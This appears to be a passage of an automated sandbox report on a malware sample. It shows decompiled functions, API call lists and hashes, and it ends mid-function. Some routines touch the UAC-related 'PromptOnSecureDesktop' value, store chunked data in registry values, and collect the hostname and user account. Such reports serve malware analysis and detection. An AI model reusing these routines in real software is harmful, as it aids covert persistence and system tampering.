Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

Part of subcall function 0040DD84: lstrcmpiA.KERNEL32(80000011,00000000,00000108,80000001,00000000,0040DE62,80000001,80000005,00000108,00000000,000000E4,00000000,?,0040E3A7,000000F0), ref: 0040DDB5

lstrcpynA.KERNEL32(?,00401E84,00000010,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?), ref: 0040E8DE
lstrlenA.KERNEL32(?,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E935
lstrlenA.KERNEL32(00000001,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?,0000000A), ref: 0040E93D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E94F

Strings

flags_upd, xrefs: 0040E8A7
localcfg, xrefs: 0040E8AB

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: lstrlen$CountCurrentExchangeInterlockedThreadTicklstrcmpilstrcpyn
String ID: flags_upd$localcfg
API String ID: 204374128-3505511081
Opcode ID: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction ID: 4a5a107d8aad74d0ab91cd578fe54778089971c235e688b3f19fdb3cdc8cf470
Opcode Fuzzy Hash: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction Fuzzy Hash: A5514F7290020AAFCB00EFE9C985DAEBBF9BF48308F14452EE405B3251D779EA548B54

Uniqueness

Uniqueness Score: -1.00%

Function 022BE8A4, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

Part of subcall function 022BDF55: GetCurrentThreadId.KERNEL32 ref: 022BDFA3

lstrcmp.KERNEL32(00410178,00000000), ref: 022BE8E3
lstrcpyn.KERNEL32(00000008,00000000,0000000F,?,00410170,00000000,?,022B6111), ref: 022BE939
lstrcmp.KERNEL32(?,00000008), ref: 022BE972

Strings

A, xrefs: 022BE8AF, 022BE8B6, 022BE91F, 022BE981
A, xrefs: 022BE949, 022BE94E
A, xrefs: 022BE989

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: lstrcmp$CurrentThreadlstrcpyn
String ID: A$ A$ A
API String ID: 2920362961-1846390581
Opcode ID: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction ID: 62ce67cfdd76e8ae450aa14f221ded127d165fbe74716ea6d991a73b656ac21b
Opcode Fuzzy Hash: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction Fuzzy Hash: BE31E431A14B06DFCF328FA4C8847D67BE4EF093A4F86852AE555C7569D770E888CB81

Uniqueness

Uniqueness Score: -1.00%

Function 022B6DF7, Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 022B6E02

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Code
String ID:
API String ID: 3609698214-0
Opcode ID: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction ID: 4c750b9c223bce1f1d6fde75e5dc85071cfeb893c57bc173e51fd34d6658caff
Opcode Fuzzy Hash: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction Fuzzy Hash: 8A216F7A124206BFDB125BE0EC49EEF3EADDF487A4B118025F602D1068EB70DA409B74

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD05, Relevance: 9.0, APIs: 6, Instructions: 34
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD05() {
				long _t4;
				long _t10;

				_t10 = GetTickCount();
				while(InterlockedExchange(0x4136b4, 1) != 0) {
					if(GetCurrentThreadId() !=  *0x4136b8) {
						if(GetTickCount() - _t10 >= 0x2710) {
							 *0x4136bc =  *0x4136bc & 0x00000000;
						} else {
							Sleep(0);
							continue;
						}
					}
					L7:
					_t4 = GetCurrentThreadId();
					 *0x4136bc =  *0x4136bc + 1;
					 *0x4136b8 = _t4;
					return _t4;
				}
				goto L7;
			}

0x0040dd17
0x0040dd41
0x0040dd2c
0x0040dd37
0x0040dd4c
0x0040dd39
0x0040dd3b
0x00000000
0x0040dd3b
0x0040dd37
0x0040dd53
0x0040dd53
0x0040dd59
0x0040dd62
0x0040dd68
0x0040dd68
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040DD0F
GetCurrentThreadId.KERNEL32 ref: 0040DD20
GetTickCount.KERNEL32 ref: 0040DD2E
Sleep.KERNEL32(00000000,?,73B743E0,?,00000000,0040E538,?,73B743E0,?,00000000,?,0040A445), ref: 0040DD3B
InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
GetCurrentThreadId.KERNEL32 ref: 0040DD53

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CountCurrentThreadTick$ExchangeInterlockedSleep
String ID:
API String ID: 3819781495-0
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 5047c4a85d7ce053583ecb6bfb553561e79882e3d1eaa06aec664d00f8baf4e0
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 1AF0E971604204AFD7505FA5BC84BB53FA4EB48353F008077E109D22A8C77455898F2E

Uniqueness

Uniqueness Score: -1.00%

Function 022BC52C, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 182threadCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 022BC69D
InterlockedIncrement.KERNEL32(022BC734), ref: 022BC6FE
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,022BC730), ref: 022BC711
CloseHandle.KERNEL32(00000000,?,022BC730,00413588,022B8A60), ref: 022BC71C

Strings

localcfg, xrefs: 022BC52D

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: CloseCountCreateHandleIncrementInterlockedThreadTick
String ID: localcfg
API String ID: 1026198776-1857712256
Opcode ID: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction ID: 88386ae7ec8b31ba3ba4c8820b9afc2a39f54bbff04eb7171ff69c8e2e434502
Opcode Fuzzy Hash: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction Fuzzy Hash: 6C515BB1A10B418FC7259FA9C5C4A6ABBE9FF88344B50593FE18BC7A94D774E844CB10

Uniqueness

Uniqueness Score: -1.00%

Function 004080C9, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004080C9(int* __ecx) {
				int _v8;
				void* _v12;
				int _v16;
				char _v20;
				char _v52;
				char _v312;
				void* _t27;
				void* _t31;
				char* _t35;
				char* _t42;
				char* _t45;
				intOrPtr* _t49;
				intOrPtr _t52;
				intOrPtr _t57;
				void* _t60;
				intOrPtr _t63;
				void* _t65;
				void* _t68;
				CHAR _t70;
				intOrPtr _t71;

				_t56 = __ecx;
				_v8 = 0;
				 *0x412c3c = 0;
				 *0x412c38 = 0;
				if(E00406EC3() != 0) {
					_t27 = E0040704C(0x410264, 0, 0,  &_v312,  &_v52);
					_t65 = _t65 + 0x14;
					if(_t27 <= 0 || _v312 == 0 || _v52 == 0) {
						goto L20;
					} else {
						_t35 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t68 = _t65 + 0x14;
						if(RegOpenKeyExA(0x80000001, _t35, 0, 0x101,  &_v12) != 0) {
							L19:
							E0040EE2A(_t56, 0x4122f8, 0, 0x100);
							_t65 = _t68 + 0xc;
							goto L20;
						}
						if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, 0,  &_v8) != 0 || _v16 != 1 || _v8 <= 0) {
							L15:
							_t42 =  *0x412c3c; // 0x0
							if(_t42 == 0) {
								goto L18;
							}
							E0040EC2E(_t42);
							 *0x412c3c = 0;
							goto L17;
						} else {
							_t45 = E0040EBCC(_v8);
							_pop(_t56);
							 *0x412c3c = _t45;
							if(_t45 == 0) {
								L18:
								RegCloseKey(_v12);
								goto L19;
							}
							_t56 =  &_v8;
							if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, _t45,  &_v8) != 0) {
								goto L15;
							}
							_t49 =  &_v312;
							_t60 = _t49 + 1;
							do {
								_t57 =  *_t49;
								_t49 = _t49 + 1;
							} while (_t57 != 0);
							_t52 = E0040EBCC(_t49 - _t60 + 1);
							_pop(_t56);
							 *0x412c38 = _t52;
							if(_t52 == 0) {
								goto L18;
							}
							E0040EF00(_t52,  &_v312);
							L17:
							_pop(_t56);
							goto L18;
						}
					}
				} else {
					E00407EE6(_t56);
					L20:
					_t70 =  *0x4121a8; // 0x0
					if(_t70 != 0) {
						_t71 =  *0x4121a4; // 0x0
						if(_t71 == 0) {
							_t31 = E0040675C(0x4121a8,  &_v20, 0);
							_t61 = _t31;
							if(_t31 != 0) {
								_t63 = _v20;
								 *0x4122d4 = E004024C2(_t61, _t63, 0);
								 *0x4121a4 = _t63;
								E0040EC2E(_t61);
							}
						}
					}
					return 1;
				}
			}

0x004080c9
0x004080d7
0x004080da
0x004080e0
0x004080ed
0x0040810b
0x00408110
0x00408115
0x00000000
0x00408130
0x00408151
0x00408156
0x00408167
0x00408216
0x0040821d
0x00408222
0x00000000
0x00408222
0x0040818b
0x004081f7
0x004081f7
0x004081fe
0x00000000
0x00000000
0x00408201
0x00408206
0x00000000
0x00408198
0x0040819b
0x004081a0
0x004081a1
0x004081a8
0x0040820d
0x00408210
0x00000000
0x00408210
0x004081aa
0x004081c2
0x00000000
0x00000000
0x004081c4
0x004081ca
0x004081cd
0x004081cd
0x004081cf
0x004081d0
0x004081d8
0x004081dd
0x004081de
0x004081e5
0x00000000
0x00000000
0x004081ef
0x0040820c
0x0040820c
0x00000000
0x0040820c
0x0040818b
0x004080ef
0x004080ef
0x00408225
0x00408225
0x0040822b
0x0040822d
0x00408233
0x0040823f
0x00408244
0x0040824b
0x0040824d
0x00408259
0x0040825e
0x00408264
0x00408269
0x0040824b
0x00408233
0x00408273
0x00408273

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 0040815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 00408187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 004081BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 00408210

Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000080,?,73B743E0,00000000), ref: 0040677E
Part of subcall function 0040675C: CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,73B743E0,00000000), ref: 0040679A
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,73B743E0,00000000), ref: 004067B0
Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000002,?,73B743E0,00000000), ref: 004067BF
Part of subcall function 0040675C: GetFileSize.KERNEL32(000000FF,00000000,?,73B743E0,00000000), ref: 004067D3
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,73B743E0,00000000), ref: 00406807
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040681F
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,73B743E0,00000000), ref: 0040683E
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040685C

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Strings

PromptOnSecureDesktop, xrefs: 0040814B, 00408150, 0040821C

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 124786226-2980165447
Opcode ID: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction ID: c6ff5cc28a73505882571aaa3479db7aabb841166acb9389a4089cab67cb233b
Opcode Fuzzy Hash: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction Fuzzy Hash: 6641A2B1801109BFEB10EBA19E81DEF777CDB04304F1448BFF545F2182EAB85A948B59

Uniqueness

Uniqueness Score: -1.00%

Function 00427AD5, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427B49
__aullrem.LIBCMT ref: 00427D16
__aulldiv.LIBCMT ref: 00427D38

Strings

0, xrefs: 00427B04
9, xrefs: 00427D49

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: c95c1c97fcdc506e330ee6b5850d880ca2d4116ecbab7ddb9671f8247ded9fd2
Instruction ID: a1239ec9a704a603b163ce20422db4f0b55e81b9a8e7b817b4251a4aaade0fb9
Opcode Fuzzy Hash: c95c1c97fcdc506e330ee6b5850d880ca2d4116ecbab7ddb9671f8247ded9fd2
Instruction Fuzzy Hash: 364104B1E18229CFDB64CF59E889BAEB7B5BF84304F5045DAD009AB341C7389A81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00434EA4, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434F18
__aullrem.LIBCMT ref: 004350E5
__aulldiv.LIBCMT ref: 00435107

Strings

0, xrefs: 00434ED3
9, xrefs: 00435118

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: bfbcba11c80bff383e639ac83f0e674f3b48becf6fda37fabb7fba7b4f58a35d
Instruction ID: 5b1f0cd4a6a08ce42393e4a313adef6e37c8504ce2c8cd308050baa4604332ff
Opcode Fuzzy Hash: bfbcba11c80bff383e639ac83f0e674f3b48becf6fda37fabb7fba7b4f58a35d
Instruction Fuzzy Hash: 5F41E571D05629DFDB24CF58C899BEEB7B5FB88304F24919AD408A7240C739AE85CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0043C159, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C1C0
__aullrem.LIBCMT ref: 0043C390
__aulldiv.LIBCMT ref: 0043C3B2

Strings

', xrefs: 0043C159
9, xrefs: 0043C3C3

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 640afffba0935bbe6b6bf5304f1230b54a4b8383186dbe245a40224a40a2e979
Instruction ID: 6e19fc3d9a4012eee1423f5d18d631a667a0f4cc573a0a4de2f2a341e8c4cce8
Opcode Fuzzy Hash: 640afffba0935bbe6b6bf5304f1230b54a4b8383186dbe245a40224a40a2e979
Instruction Fuzzy Hash: DE41F5B1E002299FDB24CF58C881BAEB7B5FF89314F10919A9548BB241D7785A81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040E095, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E095(void* _a4, char* _a8, intOrPtr* _a12, char* _a16, int _a20) {
				int _v8;
				char* _v12;
				void* _v16;
				char _v48;
				intOrPtr* _t34;
				int _t50;
				void* _t52;
				intOrPtr _t53;
				int _t57;
				int _t58;
				void* _t59;
				void* _t60;
				void* _t61;

				_t57 = 0;
				if(RegCreateKeyExA(_a4, _a8, 0, 0, 0, 0x20106, 0,  &_v16, 0) != 0) {
					return 0;
				}
				_v12 = _a16;
				_t34 = _a12;
				_t52 = _t34 + 1;
				do {
					_t53 =  *_t34;
					_t34 = _t34 + 1;
				} while (_t53 != 0);
				_t55 = _t34 - _t52;
				_v8 = 0;
				if(_t34 - _t52 > 0x1c) {
					_t55 = 0x1c;
				}
				E0040EE08( &_v48, _a12, _t55);
				_t50 = _a20;
				_t61 = _t60 + 0xc;
				if(_t50 <= _t57) {
					L11:
					E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
					RegDeleteValueA(_v16,  &_v48);
					RegCloseKey(_v16);
					return 0 | _t50 == _t57;
				} else {
					while(1) {
						_t58 = 0xff000;
						if(_t50 < 0xff000) {
							_t58 = _t50;
						}
						E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
						_t61 = _t61 + 0xc;
						if(RegSetValueExA(_v16,  &_v48, 0, 3, _v12, _t58) != 0) {
							break;
						}
						_v12 =  &(_v12[_t58]);
						_t50 = _t50 - _t58;
						_v8 = _v8 + 1;
						if(_t50 > 0) {
							continue;
						}
						break;
					}
					_t57 = 0;
					goto L11;
				}
			}

0x0040e09c
0x0040e0ba
0x00000000
0x0040e172
0x0040e0c3
0x0040e0c6
0x0040e0c9
0x0040e0cc
0x0040e0cc
0x0040e0ce
0x0040e0cf
0x0040e0d7
0x0040e0d9
0x0040e0df
0x0040e0e3
0x0040e0e3
0x0040e0ec
0x0040e0f1
0x0040e0f4
0x0040e0f9
0x0040e13f
0x0040e149
0x0040e158
0x0040e161
0x00000000
0x0040e0fb
0x0040e0fb
0x0040e0fb
0x0040e102
0x0040e104
0x0040e104
0x0040e110
0x0040e115
0x0040e12f
0x00000000
0x00000000
0x0040e131
0x0040e134
0x0040e136
0x0040e13b
0x00000000
0x00000000
0x00000000
0x0040e13b
0x0040e13d
0x00000000
0x0040e13d

APIs

RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E0D3

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction ID: af4a942e7328ea1ce2cdf979f73f75556816175b5134196b99f0fb832a21e1c2
Opcode Fuzzy Hash: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction Fuzzy Hash: 2F218071A00219BBDF209FA6EC89EDF7F79EF08754F008072F904A6190E6718A64DB94

Uniqueness

Uniqueness Score: -1.00%

Function 022BE2E5, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,022BE4F3,00000000,00000000,00000000,00020106,00000000,022BE4F3,00000000,000000E4), ref: 022BE302
RegSetValueExA.ADVAPI32(022BE4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 022BE377
RegDeleteValueA.ADVAPI32(022BE4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 022BE3A8
RegCloseKey.ADVAPI32(022BE4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,022BE4F3), ref: 022BE3B1

Strings

PromptOnSecureDesktop, xrefs: 022BE323

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction ID: 3a988a582a5fc1293b8c6de8e3207cd7f9333c584f99b09c2793d0372946d554
Opcode Fuzzy Hash: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction Fuzzy Hash: 22218E31A0021DBBDF219FE4EC88EEE7FB9EF08790F448061F904A6154E3718A54CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 022B71AF, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 022B71CA
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 022B7211
LocalFree.KERNEL32(?,?,?), ref: 022B726F
wsprintfA.USER32 ref: 022B7286

Strings

|, xrefs: 022B7203

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Name$AccountFreeLocalLookupUserwsprintf
String ID: |
API String ID: 2539190677-2343686810
Opcode ID: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction ID: e440cc50a4b9de2f4e021a89448275da76d7f71a74b878b3c123ef2957687d22
Opcode Fuzzy Hash: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction Fuzzy Hash: D1312972910209BBDB02DFA8DC44BDA7BACEF04394F048066B959DB215EA74D6488B94

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD08, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AD08(CHAR* _a4) {
				char _v132;
				int _t9;
				char _t11;
				intOrPtr* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t9 = gethostname( &_v132, 0x80);
				if(_t9 != 0) {
					_t14 = _a4;
					L15:
					if( *_t14 != 0) {
						return _t9;
					}
					return lstrcpyA(_t14, "LocalHost");
				}
				_t13 = _a4;
				_t11 = _v132;
				_t12 =  &_v132;
				_t14 = _t13;
				while(_t11 != 0) {
					if(_t11 < 0x61 || _t11 > 0x7a) {
						if(_t11 < 0x41 || _t11 > 0x5a) {
							if(_t11 < 0x30 || _t11 > 0x39) {
								if(_t11 != 0x2e) {
									goto L10;
								}
							}
						}
						goto L9;
					} else {
						L9:
						 *_t13 = _t11;
						_t13 =  &(_t13[1]);
						L10:
						_t12 = _t12 + 1;
						_t11 =  *_t12;
						continue;
					}
				}
				_t9 = lstrlenA(_t14);
				if(_t14[_t9] == 0x2e) {
					_t9 = lstrlenA(_t14);
					_t14[_t9] = 0;
				}
				goto L15;
			}

0x0040ad1c
0x0040ad24
0x0040ad71
0x0040ad74
0x0040ad77
0x0040ad88
0x0040ad88
0x00000000
0x0040ad7f
0x0040ad26
0x0040ad29
0x0040ad2c
0x0040ad2f
0x0040ad55
0x0040ad35
0x0040ad3d
0x0040ad45
0x0040ad4d
0x00000000
0x00000000
0x0040ad4d
0x0040ad45
0x00000000
0x0040ad4f
0x0040ad4f
0x0040ad4f
0x0040ad51
0x0040ad52
0x0040ad52
0x0040ad53
0x00000000
0x0040ad53
0x0040ad35
0x0040ad60
0x0040ad66
0x0040ad69
0x0040ad6b
0x0040ad6b
0x00000000

APIs

gethostname.WS2_32(?,00000080), ref: 0040AD1C
lstrlenA.KERNEL32(00000000), ref: 0040AD60
lstrlenA.KERNEL32(00000000), ref: 0040AD69
lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Strings

LocalHost, xrefs: 0040AD79

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: lstrlen$gethostnamelstrcpy
String ID: LocalHost
API String ID: 3695455745-3154191806
Opcode ID: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction ID: 5e983dddb47fd7e780230f110e9d304ee880480ae48faa8370a3fb9af9ed59c3
Opcode Fuzzy Hash: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction Fuzzy Hash: FA0149208443895EDF3107289844BEA3F675F9670AF104077E4C0BB692E77C8893835F

Uniqueness

Uniqueness Score: -1.00%

Function 022BB461, Relevance: 7.6, APIs: 5, Instructions: 131timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 022BB503
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 022BB512
SystemTimeToFileTime.KERNEL32(?,?), ref: 022BB531
GetTimeZoneInformation.KERNEL32(?), ref: 022BB579
wsprintfA.USER32 ref: 022BB607

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Time$File$Local$InformationSystemZonewsprintf
String ID:
API String ID: 4026320513-0
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 432a10208e8949d4a12690c4ffb3a528cc013bcb1637bb889357ee78494e045a
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: 345130B1D1021DAACF15CFD4D8845EEBBB9FF48304F10812AE501B6150E7B84AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 7.6, APIs: 5, Instructions: 121
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(_Unknown_base(*)()* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _t47;
				_Unknown_base(*)()* _t48;
				_Unknown_base(*)()* _t50;
				struct HINSTANCE__* _t52;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t54;
				_Unknown_base(*)()* _t55;
				signed int _t56;
				_Unknown_base(*)()* _t59;
				_Unknown_base(*)()* _t62;
				_Unknown_base(*)()* _t63;
				intOrPtr _t69;
				_Unknown_base(*)()* _t76;
				_Unknown_base(*)()* _t77;
				intOrPtr* _t82;
				void* _t85;
				intOrPtr* _t87;
				_Unknown_base(*)()* _t89;

				_t82 = _a4;
				_t47 =  *_t82;
				_t3 = _t82 + 4; // 0x65e85621
				_t69 =  *_t3;
				_v12 = 1;
				if( *((intOrPtr*)(_t47 + 0x84)) != 0) {
					_t85 =  *((intOrPtr*)(_t47 + 0x80)) + _t69;
